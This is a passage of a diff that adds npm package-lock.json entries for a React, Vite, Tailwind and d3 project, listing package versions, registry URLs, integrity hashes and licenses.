"@emnapi/wasi-threads", + "tslib" + ], + "cpu": [ + "wasm32" + ], + "license": "MIT", + "optional": true, + "dependencies": { + "@emnapi/core": "^1.7.1", + "@emnapi/runtime": "^1.7.1", + "@emnapi/wasi-threads": "^1.1.0", + "@napi-rs/wasm-runtime": "^1.1.0", + "@tybys/wasm-util": "^0.10.1", + "tslib": "^2.4.0" + }, + "engines": { + "node": ">=14.0.0" + } + }, + "node_modules/@tailwindcss/oxide-win32-arm64-msvc": { + "version": "4.1.18", + "resolved": "https://registry.npmjs.org/@tailwindcss/oxide-win32-arm64-msvc/-/oxide-win32-arm64-msvc-4.1.18.tgz", + "integrity": "sha512-HjSA7mr9HmC8fu6bdsZvZ+dhjyGCLdotjVOgLA2vEqxEBZaQo9YTX4kwgEvPCpRh8o4uWc4J/wEoFzhEmjvPbA==", + "cpu": [ + "arm64" + ], + "license": "MIT", + "optional": true, + "os": [ + "win32" + ], + "engines": { + "node": ">= 10" + } + }, + "node_modules/@tailwindcss/oxide-win32-x64-msvc": { + "version": "4.1.18", + "resolved": "https://registry.npmjs.org/@tailwindcss/oxide-win32-x64-msvc/-/oxide-win32-x64-msvc-4.1.18.tgz", + "integrity": "sha512-bJWbyYpUlqamC8dpR7pfjA0I7vdF6t5VpUGMWRkXVE3AXgIZjYUYAK7II1GNaxR8J1SSrSrppRar8G++JekE3Q==", + "cpu": [ + "x64" + ], + "license": "MIT", + "optional": true, + "os": [ + "win32" + ], + "engines": { + "node": ">= 10" + } + }, + "node_modules/@tailwindcss/vite": { + "version": "4.1.18", + "resolved": "https://registry.npmjs.org/@tailwindcss/vite/-/vite-4.1.18.tgz", + "integrity": "sha512-jVA+/UpKL1vRLg6Hkao5jldawNmRo7mQYrZtNHMIVpLfLhDml5nMRUo/8MwoX2vNXvnaXNNMedrMfMugAVX1nA==", + "license": "MIT", + "dependencies": { + "@tailwindcss/node": "4.1.18", + "@tailwindcss/oxide": "4.1.18", + "tailwindcss": "4.1.18" + }, + "peerDependencies": { + "vite": "^5.2.0 || ^6 || ^7" + } + }, + "node_modules/@types/babel__core": { + "version": "7.20.5", + "resolved": "https://registry.npmjs.org/@types/babel__core/-/babel__core-7.20.5.tgz", + "integrity": "sha512-qoQprZvz5wQFJwMDqeseRXWv3rqMvhgpbXFfVyWhbx9X47POIA6i/+dXefEmZKoAgOaTdaIgNSMqMIU61yRyzA==", + "dev": true, + "license": "MIT", + "dependencies": { + "@babel/parser": "^7.20.7", + "@babel/types": "^7.20.7", + "@types/babel__generator": "*", + "@types/babel__template": "*", + "@types/babel__traverse": "*" + } + }, + "node_modules/@types/babel__generator": { + "version": "7.27.0", + "resolved": "https://registry.npmjs.org/@types/babel__generator/-/babel__generator-7.27.0.tgz", + "integrity": "sha512-ufFd2Xi92OAVPYsy+P4n7/U7e68fex0+Ee8gSG9KX7eo084CWiQ4sdxktvdl0bOPupXtVJPY19zk6EwWqUQ8lg==", + "dev": true, + "license": "MIT", + "dependencies": { + "@babel/types": "^7.0.0" + } + }, + "node_modules/@types/babel__template": { + "version": "7.4.4", + "resolved": "https://registry.npmjs.org/@types/babel__template/-/babel__template-7.4.4.tgz", + "integrity": "sha512-h/NUaSyG5EyxBIp8YRxo4RMe2/qQgvyowRwVMzhYhBCONbW8PUsg4lkFMrhgZhUe5z3L3MiLDuvyJ/CaPa2A8A==", + "dev": true, + "license": "MIT", + "dependencies": { + "@babel/parser": "^7.1.0", + "@babel/types": "^7.0.0" + } + }, + "node_modules/@types/babel__traverse": { + "version": "7.28.0", + "resolved": "https://registry.npmjs.org/@types/babel__traverse/-/babel__traverse-7.28.0.tgz", + "integrity": "sha512-8PvcXf70gTDZBgt9ptxJ8elBeBjcLOAcOtoO/mPJjtji1+CdGbHgm77om1GrsPxsiE+uXIpNSK64UYaIwQXd4Q==", + "dev": true, + "license": "MIT", + "dependencies": { + "@babel/types": "^7.28.2" + } + }, + "node_modules/@types/d3-array": { + "version": "3.2.2", + "resolved": "https://registry.npmjs.org/@types/d3-array/-/d3-array-3.2.2.tgz", + "integrity": "sha512-hOLWVbm7uRza0BYXpIIW5pxfrKe0W+D5lrFiAEYR+pb6w3N2SwSMaJbXdUfSEv+dT4MfHBLtn5js0LAWaO6otw==", + "license": "MIT" + }, + "node_modules/@types/d3-color": { + "version": "3.1.3", + "resolved": "https://registry.npmjs.org/@types/d3-color/-/d3-color-3.1.3.tgz", + "integrity": "sha512-iO90scth9WAbmgv7ogoq57O9YpKmFBbmoEoCHDB2xMBY0+/KVrqAaCDyCE16dUspeOvIxFFRI+0sEtqDqy2b4A==", + "license": "MIT" + }, + "node_modules/@types/d3-ease": { + "version": "3.0.2", + "resolved": "https://registry.npmjs.org/@types/d3-ease/-/d3-ease-3.0.2.tgz", + "integrity": "sha512-NcV1JjO5oDzoK26oMzbILE6HW7uVXOHLQvHshBUW4UMdZGfiY6v5BeQwh9a9tCzv+CeefZQHJt5SRgK154RtiA==", + "license": "MIT" + }, + "node_modules/@types/d3-interpolate": { + "version": "3.0.4", + "resolved": "https://registry.npmjs.org/@types/d3-interpolate/-/d3-interpolate-3.0.4.tgz", + "integrity": "sha512-mgLPETlrpVV1YRJIglr4Ez47g7Yxjl1lj7YKsiMCb27VJH9W8NVM6Bb9d8kkpG/uAQS5AmbA48q2IAolKKo1MA==", + "license": "MIT", + "dependencies": { + "@types/d3-color": "*" + } + }, + "node_modules/@types/d3-path": { + "version": "3.1.1", + "resolved": "https://registry.npmjs.org/@types/d3-path/-/d3-path-3.1.1.tgz", + "integrity": "sha512-VMZBYyQvbGmWyWVea0EHs/BwLgxc+MKi1zLDCONksozI4YJMcTt8ZEuIR4Sb1MMTE8MMW49v0IwI5+b7RmfWlg==", + "license": "MIT" + }, + "node_modules/@types/d3-scale": { + "version": "4.0.9", + "resolved": "https://registry.npmjs.org/@types/d3-scale/-/d3-scale-4.0.9.tgz", + "integrity": "sha512-dLmtwB8zkAeO/juAMfnV+sItKjlsw2lKdZVVy6LRr0cBmegxSABiLEpGVmSJJ8O08i4+sGR6qQtb6WtuwJdvVw==", + "license": "MIT", + "dependencies": { + "@types/d3-time": "*" + } + }, + "node_modules/@types/d3-shape": { + "version": "3.1.8", + "resolved": "https://registry.npmjs.org/@types/d3-shape/-/d3-shape-3.1.8.tgz", + "integrity": "sha512-lae0iWfcDeR7qt7rA88BNiqdvPS5pFVPpo5OfjElwNaT2yyekbM0C9vK+yqBqEmHr6lDkRnYNoTBYlAgJa7a4w==", + "license": "MIT", + "dependencies": { + "@types/d3-path": "*" + } + }, + "node_modules/@types/d3-time": { + "version": "3.0.4", + "resolved": "https://registry.npmjs.org/@types/d3-time/-/d3-time-3.0.4.tgz", + "integrity": "sha512-yuzZug1nkAAaBlBBikKZTgzCeA+k1uy4ZFwWANOfKw5z5LRhV0gNA7gNkKm7HoK+HRN0wX3EkxGk0fpbWhmB7g==", + "license": "MIT" + }, + "node_modules/@types/d3-timer": { + "version": "3.0.2", + "resolved": "https://registry.npmjs.org/@types/d3-timer/-/d3-timer-3.0.2.tgz", + "integrity": "sha512-Ps3T8E8dZDam6fUyNiMkekK3XUsaUEik+idO9/YjPtfj2qruF8tFBXS7XhtE4iIXBLxhmLjP3SXpLhVf21I9Lw==", + "license": "MIT" + }, + "node_modules/@types/estree": { + "version": "1.0.8", + "resolved": "https://registry.npmjs.org/@types/estree/-/estree-1.0.8.tgz", + "integrity": "sha512-dWHzHa2WqEXI/O1E9OjrocMTKJl2mSrEolh1Iomrv6U+JuNwaHXsXx9bLu5gG7BUWFIN0skIQJQ/L1rIex4X6w==", + "license": "MIT" + }, + "node_modules/@types/json-schema": { + "version": "7.0.15", + "resolved": "https://registry.npmjs.org/@types/json-schema/-/json-schema-7.0.15.tgz", + "integrity": "sha512-5+fP8P8MFNC+AyZCDxrB2pkZFPGzqQWUzpSeuuVLvm8VMcorNYavBqoFcxK8bQz4Qsbn4oUEEem4wDLfcysGHA==", + "dev": true, + "license": "MIT" + }, + "node_modules/@types/react": { + "version": "19.2.14", + "resolved": "https://registry.npmjs.org/@types/react/-/react-19.2.14.tgz", + "integrity": "sha512-ilcTH/UniCkMdtexkoCN0bI7pMcJDvmQFPvuPvmEaYA/NSfFTAgdUSLAoVjaRJm7+6PvcM+q1zYOwS4wTYMF9w==", + "devOptional": true, + "license": "MIT", + "peer": true, + "dependencies": { + "csstype": "^3.2.2" + } + }, + "node_modules/@types/react-dom": { + "version": "19.2.3", + "resolved": "https://registry.npmjs.org/@types/react-dom/-/react-dom-19.2.3.tgz", + "integrity": "sha512-jp2L/eY6fn+KgVVQAOqYItbF0VY/YApe5Mz2F0aykSO8gx31bYCZyvSeYxCHKvzHG5eZjc+zyaS5BrBWya2+kQ==", + "dev": true, + "license": "MIT", + "peerDependencies": { + "@types/react": "^19.2.0" + } + }, + "node_modules/@types/use-sync-external-store": { + "version": "0.0.6", + "resolved": "https://registry.npmjs.org/@types/use-sync-external-store/-/use-sync-external-store-0.0.6.tgz", + "integrity": "sha512-zFDAD+tlpf2r4asuHEj0XH6pY6i0g5NeAHPn+15wk3BV6JA69eERFXC1gyGThDkVa1zCyKr5jox1+2LbV/AMLg==", + "license": "MIT" + }, + "node_modules/@vitejs/plugin-react": { + "version": "5.1.4", + "resolved": "https://registry.npmjs.org/@vitejs/plugin-react/-/plugin-react-5.1.4.tgz", + "integrity": "sha512-VIcFLdRi/VYRU8OL/puL7QXMYafHmqOnwTZY50U1JPlCNj30PxCMx65c494b1K9be9hX83KVt0+gTEwTWLqToA==", + "dev": true, + "license": "MIT", + "dependencies": { + "@babel/core": "^7.29.0", + "@babel/plugin-transform-react-jsx-self": "^7.27.1", + "@babel/plugin-transform-react-jsx-source": "^7.27.1", + "@rolldown/pluginutils": "1.0.0-rc.3", + "@types/babel__core": "^7.20.5", + "react-refresh": "^0.18.0" + }, + "engines": { + "node": "^20.19.0 || >=22.12.0" + }, + "peerDependencies": { + "vite": "^4.2.0 || ^5.0.0 || ^6.0.0 || ^7.0.0" + } + }, + "node_modules/acorn": { + "version": "8.15.0", + "resolved": "https://registry.npmjs.org/acorn/-/acorn-8.15.0.tgz", + "integrity": "sha512-NZyJarBfL7nWwIq+FDL6Zp/yHEhePMNnnJ0y3qfieCrmNvYct8uvtiV41UvlSe6apAfk0fY1FbWx+NwfmpvtTg==", + "dev": true, + "license": "MIT", + "peer": true, + "bin": { + "acorn": "bin/acorn" + }, + "engines": { + "node": ">=0.4.0" + } + }, + "node_modules/acorn-jsx": { + "version": "5.3.2", + "resolved": "https://registry.npmjs.org/acorn-jsx/-/acorn-jsx-5.3.2.tgz", + "integrity": "sha512-rq9s+JNhf0IChjtDXxllJ7g41oZk5SlXtp0LHwyA5cejwn7vKmKp4pPri6YEePv2PU65sAsegbXtIinmDFDXgQ==", + "dev": true, + "license": "MIT", + "peerDependencies": { + "acorn": "^6.0.0 || ^7.0.0 || ^8.0.0" + } + }, + "node_modules/ajv": { + "version": "6.12.6", + "resolved": "https://registry.npmjs.org/ajv/-/ajv-6.12.6.tgz", + "integrity": "sha512-j3fVLgvTo527anyYyJOGTYJbG+vnnQYvE0m5mmkc1TK+nxAppkCLMIL0aZ4dblVCNoGShhm+kzE4ZUykBoMg4g==", + "dev": true, + "license": "MIT", + "dependencies": { + "fast-deep-equal": "^3.1.1", + "fast-json-stable-stringify": "^2.0.0", + "json-schema-traverse": "^0.4.1", + "uri-js": "^4.2.2" + }, + "funding": { + "type": "github", + "url": "https://github.com/sponsors/epoberezkin" + } + }, + "node_modules/ansi-styles": { + "version": "4.3.0", + "resolved": "https://registry.npmjs.org/ansi-styles/-/ansi-styles-4.3.0.tgz", + "integrity": "sha512-zbB9rCJAT1rbjiVDb2hqKFHNYLxgtk8NURxZ3IZwD3F6NtxbXZQCnnSi1Lkx+IDohdPlFp222wVALIheZJQSEg==", + "dev": true, + "license": "MIT", + "dependencies": { + "color-convert": "^2.0.1" + }, + "engines": { + "node": ">=8" + }, + "funding": { + "url": "https://github.com/chalk/ansi-styles?sponsor=1" + } + }, + "node_modules/argparse": { + "version": "2.0.1", + "resolved": "https://registry.npmjs.org/argparse/-/argparse-2.0.1.tgz", + "integrity": "sha512-8+9WqebbFzpX9OR+Wa6O29asIogeRMzcGtAINdpMHHyAg10f05aSFVBbcEqGf/PXw1EjAZ+q2/bEBg3DvurK3Q==", + "dev": true, + "license": "Python-2.0" + }, + "node_modules/balanced-match": { + "version": "1.0.2", + "resolved": "https://registry.npmjs.org/balanced-match/-/balanced-match-1.0.2.tgz", + "integrity": "sha512-3oSeUO0TMV67hN1AmbXsK4yaqU7tjiHlbxRDZOpH0KW9+CeX4bRAaX0Anxt0tx2MrpRpWwQaPwIlISEJhYU5Pw==", + "dev": true, + "license": "MIT" + }, + "node_modules/baseline-browser-mapping": { + "version": "2.9.19", + "resolved": "https://registry.npmjs.org/baseline-browser-mapping/-/baseline-browser-mapping-2.9.19.tgz", + "integrity": "sha512-ipDqC8FrAl/76p2SSWKSI+H9tFwm7vYqXQrItCuiVPt26Km0jS+NzSsBWAaBusvSbQcfJG+JitdMm+wZAgTYqg==", + "dev": true, + "license": "Apache-2.0", + "bin": { + "baseline-browser-mapping": "dist/cli.js" + } + }, + "node_modules/brace-expansion": { + "version": "1.1.12", + "resolved": "https://registry.npmjs.org/brace-expansion/-/brace-expansion-1.1.12.tgz", + "integrity": "sha512-9T9UjW3r0UW5c1Q7GTwllptXwhvYmEzFhzMfZ9H7FQWt+uZePjZPjBP/W1ZEyZ1twGWom5/56TF4lPcqjnDHcg==", + "dev": true, + "license": "MIT", + "dependencies": { + "balanced-match": "^1.0.0", + "concat-map": "0.0.1" + } + }, + "node_modules/browserslist": { + "version": "4.28.1", + "resolved": "https://registry.npmjs.org/browserslist/-/browserslist-4.28.1.tgz", + "integrity": "sha512-ZC5Bd0LgJXgwGqUknZY/vkUQ04r8NXnJZ3yYi4vDmSiZmC/pdSN0NbNRPxZpbtO4uAfDUAFffO8IZoM3Gj8IkA==", + "dev": true, + "funding": [ + { + "type": "opencollective", + "url": "https://opencollective.com/browserslist" + }, + { + "type": "tidelift", + "url": "https://tidelift.com/funding/github/npm/browserslist" + }, + { + "type": "github", + "url": "https://github.com/sponsors/ai" + } + ], + "license": "MIT", + "peer": true, + "dependencies": { + "baseline-browser-mapping": "^2.9.0", + "caniuse-lite": "^1.0.30001759", + "electron-to-chromium": "^1.5.263", + "node-releases": "^2.0.27", + "update-browserslist-db": "^1.2.0" + }, + "bin": { + "browserslist": "cli.js" + }, + "engines": { + "node": "^6 || ^7 || ^8 || ^9 || ^10 || ^11 || ^12 || >=13.7" + } + }, + "node_modules/callsites": { + "version": "3.1.0", + "resolved": "https://registry.npmjs.org/callsites/-/callsites-3.1.0.tgz", + "integrity": "sha512-P8BjAsXvZS+VIDUI11hHCQEv74YT67YUi5JJFNWIqL235sBmjX4+qx9Muvls5ivyNENctx46xQLQ3aTuE7ssaQ==", + "dev": true, + "license": "MIT", + "engines": { + "node": ">=6" + } + }, + "node_modules/caniuse-lite": { + "version": "1.0.30001769", + "resolved": "https://registry.npmjs.org/caniuse-lite/-/caniuse-lite-1.0.30001769.tgz", + "integrity": "sha512-BCfFL1sHijQlBGWBMuJyhZUhzo7wer5sVj9hqekB/7xn0Ypy+pER/edCYQm4exbXj4WiySGp40P8UuTh6w1srg==", + "dev": true, + "funding": [ + { + "type": "opencollective", + "url": "https://opencollective.com/browserslist" + }, + { + "type": "tidelift", + "url": "https://tidelift.com/funding/github/npm/caniuse-lite" + }, + { + "type": "github", + "url": "https://github.com/sponsors/ai" + } + ], + "license": "CC-BY-4.0" + }, + "node_modules/chalk": { + "version": "4.1.2", + "resolved": "https://registry.npmjs.org/chalk/-/chalk-4.1.2.tgz", + "integrity": "sha512-oKnbhFyRIXpUuez8iBMmyEa4nbj4IOQyuhc/wy9kY7/WVPcwIO9VA668Pu8RkO7+0G76SLROeyw9CpQ061i4mA==", + "dev": true, + "license": "MIT", + "dependencies": { + "ansi-styles": "^4.1.0", + "supports-color": "^7.1.0" + }, + "engines": { + "node": ">=10" + }, + "funding": { + "url": "https://github.com/chalk/chalk?sponsor=1" + } + }, + "node_modules/clsx": { + "version": "2.1.1", + "resolved": "https://registry.npmjs.org/clsx/-/clsx-2.1.1.tgz", + "integrity": "sha512-eYm0QWBtUrBWZWG0d386OGAw16Z995PiOVo2B7bjWSbHedGl5e0ZWaq65kOGgUSNesEIDkB9ISbTg/JK9dhCZA==", + "license": "MIT", + "engines": { + "node": ">=6" + } + }, + "node_modules/color-convert": { + "version": "2.0.1", + "resolved": "https://registry.npmjs.org/color-convert/-/color-convert-2.0.1.tgz", + "integrity": "sha512-RRECPsj7iu/xb5oKYcsFHSppFNnsj/52OVTRKb4zP5onXwVF3zVmmToNcOfGC+CRDpfK/U584fMg38ZHCaElKQ==", + "dev": true, + "license": "MIT", + "dependencies": { + "color-name": "~1.1.4" + }, + "engines": { + "node": ">=7.0.0" + } + }, + "node_modules/color-name": { + "version": "1.1.4", + "resolved": "https://registry.npmjs.org/color-name/-/color-name-1.1.4.tgz", + "integrity": "sha512-dOy+3AuW3a2wNbZHIuMZpTcgjGuLU/uBL/ubcZF9OXbDo8ff4O8yVp5Bf0efS8uEoYo5q4Fx7dY9OgQGXgAsQA==", + "dev": true, + "license": "MIT" + }, + "node_modules/concat-map": { + "version": "0.0.1", + "resolved": "https://registry.npmjs.org/concat-map/-/concat-map-0.0.1.tgz", + "integrity": "sha512-/Srv4dswyQNBfohGpz9o6Yb3Gz3SrUDqBH5rTuhGR7ahtlbYKnVxw2bCFMRljaA7EXHaXZ8wsHdodFvbkhKmqg==", + "dev": true, + "license": "MIT" + }, + "node_modules/convert-source-map": { + "version": "2.0.0", + "resolved": "https://registry.npmjs.org/convert-source-map/-/convert-source-map-2.0.0.tgz", + "integrity": "sha512-Kvp459HrV2FEJ1CAsi1Ku+MY3kasH19TFykTz2xWmMeq6bk2NU3XXvfJ+Q61m0xktWwt+1HSYf3JZsTms3aRJg==", + "dev": true, + "license": "MIT" + }, + "node_modules/cross-spawn": { + "version": "7.0.6", + "resolved": "https://registry.npmjs.org/cross-spawn/-/cross-spawn-7.0.6.tgz", + "integrity": "sha512-uV2QOWP2nWzsy2aMp8aRibhi9dlzF5Hgh5SHaB9OiTGEyDTiJJyx0uy51QXdyWbtAHNua4XJzUKca3OzKUd3vA==", + "dev": true, + "license": "MIT", + "dependencies": { + "path-key": "^3.1.0", + "shebang-command": "^2.0.0", + "which": "^2.0.1" + }, + "engines": { + "node": ">= 8" + } + }, + "node_modules/csstype": { + "version": "3.2.3", + "resolved": "https://registry.npmjs.org/csstype/-/csstype-3.2.3.tgz", + "integrity": "sha512-z1HGKcYy2xA8AGQfwrn0PAy+PB7X/GSj3UVJW9qKyn43xWa+gl5nXmU4qqLMRzWVLFC8KusUX8T/0kCiOYpAIQ==", + "devOptional": true, + "license": "MIT" + }, + "node_modules/d3-array": { + "version": "3.2.4", + "resolved": "https://registry.npmjs.org/d3-array/-/d3-array-3.2.4.tgz", + "integrity": "sha512-tdQAmyA18i4J7wprpYq8ClcxZy3SC31QMeByyCFyRt7BVHdREQZ5lpzoe5mFEYZUWe+oq8HBvk9JjpibyEV4Jg==", + "license": "ISC", + "dependencies": { + "internmap": "1 - 2" + }, + "engines": { + "node": ">=12" + } + }, + "node_modules/d3-color": { + "version": "3.1.0", + "resolved": "https://registry.npmjs.org/d3-color/-/d3-color-3.1.0.tgz", + "integrity": "sha512-zg/chbXyeBtMQ1LbD/WSoW2DpC3I0mpmPdW+ynRTj/x2DAWYrIY7qeZIHidozwV24m4iavr15lNwIwLxRmOxhA==", + "license": "ISC", + "engines": { + "node": ">=12" + } + }, + "node_modules/d3-ease": { + "version": "3.0.1", + "resolved": "https://registry.npmjs.org/d3-ease/-/d3-ease-3.0.1.tgz", + "integrity": "sha512-wR/XK3D3XcLIZwpbvQwQ5fK+8Ykds1ip7A2Txe0yxncXSdq1L9skcG7blcedkOX+ZcgxGAmLX1FrRGbADwzi0w==", + "license": "BSD-3-Clause", + "engines": { + "node": ">=12" + } + }, + "node_modules/d3-format": { + "version": "3.1.2", + "resolved": "https://registry.npmjs.org/d3-format/-/d3-format-3.1.2.tgz", + "integrity": "sha512-AJDdYOdnyRDV5b6ArilzCPPwc1ejkHcoyFarqlPqT7zRYjhavcT3uSrqcMvsgh2CgoPbK3RCwyHaVyxYcP2Arg==", + "license": "ISC", + "engines": { + "node": ">=12" + } + }, + "node_modules/d3-interpolate": { + "version": "3.0.1", + "resolved": "https://registry.npmjs.org/d3-interpolate/-/d3-interpolate-3.0.1.tgz", + "integrity": "sha512-3bYs1rOD33uo8aqJfKP3JWPAibgw8Zm2+L9vBKEHJ2Rg+viTR7o5Mmv5mZcieN+FRYaAOWX5SJATX6k1PWz72g==", + "license": "ISC", + "dependencies": { + "d3-color": "1 - 3" + }, + "engines": { + "node": ">=12" + } + }, + "node_modules/d3-path": { + "version": "3.1.0", + "resolved": "https://registry.npmjs.org/d3-path/-/d3-path-3.1.0.tgz", + "integrity": "sha512-p3KP5HCf/bvjBSSKuXid6Zqijx7wIfNW+J/maPs+iwR35at5JCbLUT0LzF1cnjbCHWhqzQTIN2Jpe8pRebIEFQ==", + "license": "ISC", + "engines": { + "node": ">=12" + } + }, + "node_modules/d3-scale": { + "version": "4.0.2", + "resolved": "https://registry.npmjs.org/d3-scale/-/d3-scale-4.0.2.tgz", + "integrity": "sha512-GZW464g1SH7ag3Y7hXjf8RoUuAFIqklOAq3MRl4OaWabTFJY9PN/E1YklhXLh+OQ3fM9yS2nOkCoS+WLZ6kvxQ==", + "license": "ISC", + "dependencies": { + "d3-array": "2.10.0 - 3", + "d3-format": "1 - 3", + "d3-interpolate": "1.2.0 - 3", + "d3-time": "2.1.1 - 3", + "d3-time-format": "2 - 4" + }, + "engines": { + "node": ">=12" + } + }, + "node_modules/d3-shape": { + "version": "3.2.0", + "resolved": "https://registry.npmjs.org/d3-shape/-/d3-shape-3.2.0.tgz", + "integrity": "sha512-SaLBuwGm3MOViRq2ABk3eLoxwZELpH6zhl3FbAoJ7Vm1gofKx6El1Ib5z23NUEhF9AsGl7y+dzLe5Cw2AArGTA==", + "license": "ISC", + "dependencies": { + "d3-path": "^3.1.0" + }, + "engines": { + "node": ">=12" + } + }, + "node_modules/d3-time": { + "version": "3.1.0", + "resolved": "https://registry.npmjs.org/d3-time/-/d3-time-3.1.0.tgz", + "integrity": "sha512-VqKjzBLejbSMT4IgbmVgDjpkYrNWUYJnbCGo874u7MMKIWsILRX+OpX/gTk8MqjpT1A/c6HY2dCA77ZN0lkQ2Q==", + "license": "ISC", + "dependencies": { + "d3-array": "2 - 3" + }, + "engines": { + "node": ">=12" + } + }, + "node_modules/d3-time-format": { + "version": "4.1.0", + "resolved": "https://registry.npmjs.org/d3-time-format/-/d3-time-format-4.1.0.tgz", + "integrity": "sha512-dJxPBlzC7NugB2PDLwo9Q8JiTR3M3e4/XANkreKSUxF8vvXKqm1Yfq4Q5dl8budlunRVlUUaDUgFt7eA8D6NLg==", + "license": "ISC", + "dependencies": { + "d3-time": "1 - 3" + }, + "engines": { + "node": ">=12" + } + }, + "node_modules/d3-timer": { + "version": "3.0.1", + "resolved": "https://registry.npmjs.org/d3-timer/-/d3-timer-3.0.1.tgz", + "integrity": "sha512-ndfJ/JxxMd3nw31uyKoY2naivF+r29V+Lc0svZxe1JvvIRmi8hUsrMvdOwgS1o6uBHmiz91geQ0ylPP0aj1VUA==", + "license": "ISC", + "engines": { + "node": ">=12" + } + }, + "node_modules/date-fns": { + "version": "4.1.0", + "resolved": "https://registry.npmjs.org/date-fns/-/date-fns-4.1.0.tgz", + "integrity": "sha512-Ukq0owbQXxa/U3EGtsdVBkR1w7KOQ5gIBqdH2hkvknzZPYvBxb/aa6E8L7tmjFtkwZBu3UXBbjIgPo/Ez4xaNg==", + "license": "MIT", + "funding": { + "type": "github", + "url": "https://github.com/sponsors/kossnocorp" + } + }, + "node_modules/debug": { + "version": "4.4.3", + "resolved": "https://registry.npmjs.org/debug/-/debug-4.4.3.tgz", + "integrity": "sha512-RGwwWnwQvkVfavKVt22FGLw+xYSdzARwm0ru6DhTVA3umU5hZc28V3kO4stgYryrTlLpuvgI9GiijltAjNbcqA==", + "dev": true, + "license": "MIT", + "dependencies": { + "ms": "^2.1.3" + }, + "engines": { + "node": ">=6.0" + }, + "peerDependenciesMeta": { + "supports-color": { + "optional": true + } + } + }, + "node_modules/decimal.js-light": { + "version": "2.5.1", + "resolved": "https://registry.npmjs.org/decimal.js-light/-/decimal.js-light-2.5.1.tgz", + "integrity": "sha512-qIMFpTMZmny+MMIitAB6D7iVPEorVw6YQRWkvarTkT4tBeSLLiHzcwj6q0MmYSFCiVpiqPJTJEYIrpcPzVEIvg==", + "license": "MIT" + }, + "node_modules/deep-is": { + "version": "0.1.4", + "resolved": "https://registry.npmjs.org/deep-is/-/deep-is-0.1.4.tgz", + "integrity": "sha512-oIPzksmTg4/MriiaYGO+okXDT7ztn/w3Eptv/+gSIdMdKsJo0u4CfYNFJPy+4SKMuCqGw2wxnA+URMg3t8a/bQ==", + "dev": true, + "license": "MIT" + }, + "node_modules/detect-libc": { + "version": "2.1.2", + "resolved": "https://registry.npmjs.org/detect-libc/-/detect-libc-2.1.2.tgz", + "integrity": "sha512-Btj2BOOO83o3WyH59e8MgXsxEQVcarkUOpEYrubB0urwnN10yQ364rsiByU11nZlqWYZm05i/of7io4mzihBtQ==", + "license": "Apache-2.0", + "engines": { + "node": ">=8" + } + }, + "node_modules/electron-to-chromium": { + "version": "1.5.286", + "resolved": "https://registry.npmjs.org/electron-to-chromium/-/electron-to-chromium-1.5.286.tgz", + "integrity": "sha512-9tfDXhJ4RKFNerfjdCcZfufu49vg620741MNs26a9+bhLThdB+plgMeou98CAaHu/WATj2iHOOHTp1hWtABj2A==", + "dev": true, + "license": "ISC" + }, + "node_modules/enhanced-resolve": { + "version": "5.19.0", + "resolved": "https://registry.npmjs.org/enhanced-resolve/-/enhanced-resolve-5.19.0.tgz", + "integrity": "sha512-phv3E1Xl4tQOShqSte26C7Fl84EwUdZsyOuSSk9qtAGyyQs2s3jJzComh+Abf4g187lUUAvH+H26omrqia2aGg==", + "license": "MIT", + "dependencies": { + "graceful-fs": "^4.2.4", + "tapable": "^2.3.0" + }, + "engines": { + "node": ">=10.13.0" + } + }, + "node_modules/es-toolkit": { + "version": "1.44.0", + "resolved": "https://registry.npmjs.org/es-toolkit/-/es-toolkit-1.44.0.tgz", + "integrity": "sha512-6penXeZalaV88MM3cGkFZZfOoLGWshWWfdy0tWw/RlVVyhvMaWSBTOvXNeiW3e5FwdS5ePW0LGEu17zT139ktg==", + "license": "MIT", + "workspaces": [ + "docs", + "benchmarks" + ] + }, + "node_modules/esbuild": { + "version": "0.27.3", + "resolved": "https://registry.npmjs.org/esbuild/-/esbuild-0.27.3.tgz", + "integrity": "sha512-8VwMnyGCONIs6cWue2IdpHxHnAjzxnw2Zr7MkVxB2vjmQ2ivqGFb4LEG3SMnv0Gb2F/G/2yA8zUaiL1gywDCCg==", + "hasInstallScript": true, + "license": "MIT", + "bin": { + "esbuild": "bin/esbuild" + }, + "engines": { + "node": ">=18" + }, + "optionalDependencies": { + "@esbuild/aix-ppc64": "0.27.3", + "@esbuild/android-arm": "0.27.3", + "@esbuild/android-arm64": "0.27.3", + "@esbuild/android-x64": "0.27.3", + "@esbuild/darwin-arm64": "0.27.3", + "@esbuild/darwin-x64": "0.27.3", + "@esbuild/freebsd-arm64": "0.27.3", + "@esbuild/freebsd-x64": "0.27.3", + "@esbuild/linux-arm": "0.27.3", + "@esbuild/linux-arm64": "0.27.3", + "@esbuild/linux-ia32": "0.27.3", + "@esbuild/linux-loong64": "0.27.3", + "@esbuild/linux-mips64el": "0.27.3", + "@esbuild/linux-ppc64": "0.27.3", + "@esbuild/linux-riscv64": "0.27.3", + "@esbuild/linux-s390x": "0.27.3", + "@esbuild/linux-x64": "0.27.3", + "@esbuild/netbsd-arm64": "0.27.3", + "@esbuild/netbsd-x64": "0.27.3", + "@esbuild/openbsd-arm64": "0.27.3", + "@esbuild/openbsd-x64": "0.27.3", + "@esbuild/openharmony-arm64": "0.27.3", + "@esbuild/sunos-x64": "0.27.3", + "@esbuild/win32-arm64": "0.27.3", + "@esbuild/win32-ia32": "0.27.3", + "@esbuild/win32-x64": "0.27.3" + } + }, + "node_modules/escalade": { + "version": "3.2.0", + "resolved": "https://registry.npmjs.org/escalade/-/escalade-3.2.0.tgz", + "integrity": "sha512-WUj2qlxaQtO4g6Pq5c29GTcWGDyd8itL8zTlipgECz3JesAiiOKotd8JU6otB3PACgG6xkJUyVhboMS+bje/jA==", + "dev": true, + "license": "MIT", + "engines": { + "node": ">=6" + } + }, + "node_modules/escape-string-regexp": { + "version": "4.0.0", + "resolved": "https://registry.npmjs.org/escape-string-regexp/-/escape-string-regexp-4.0.0.tgz", + "integrity": "sha512-TtpcNJ3XAzx3Gq8sWRzJaVajRs0uVxA2YAkdb1jm2YkPz4G6egUFAyA3n5vtEIZefPk5Wa4UXbKuS5fKkJWdgA==", + "dev": true, + "license": "MIT", + "engines": { + "node": ">=10" + }, + "funding": { + "url": "https://github.com/sponsors/sindresorhus" + } + }, + "node_modules/eslint": { + "version": "9.39.2", + "resolved": "https://registry.npmjs.org/eslint/-/eslint-9.39.2.tgz", + "integrity": "sha512-LEyamqS7W5HB3ujJyvi0HQK/dtVINZvd5mAAp9eT5S/ujByGjiZLCzPcHVzuXbpJDJF/cxwHlfceVUDZ2lnSTw==", + "dev": true, + "license": "MIT", + "peer": true, + "dependencies": { + "@eslint-community/eslint-utils": "^4.8.0", + 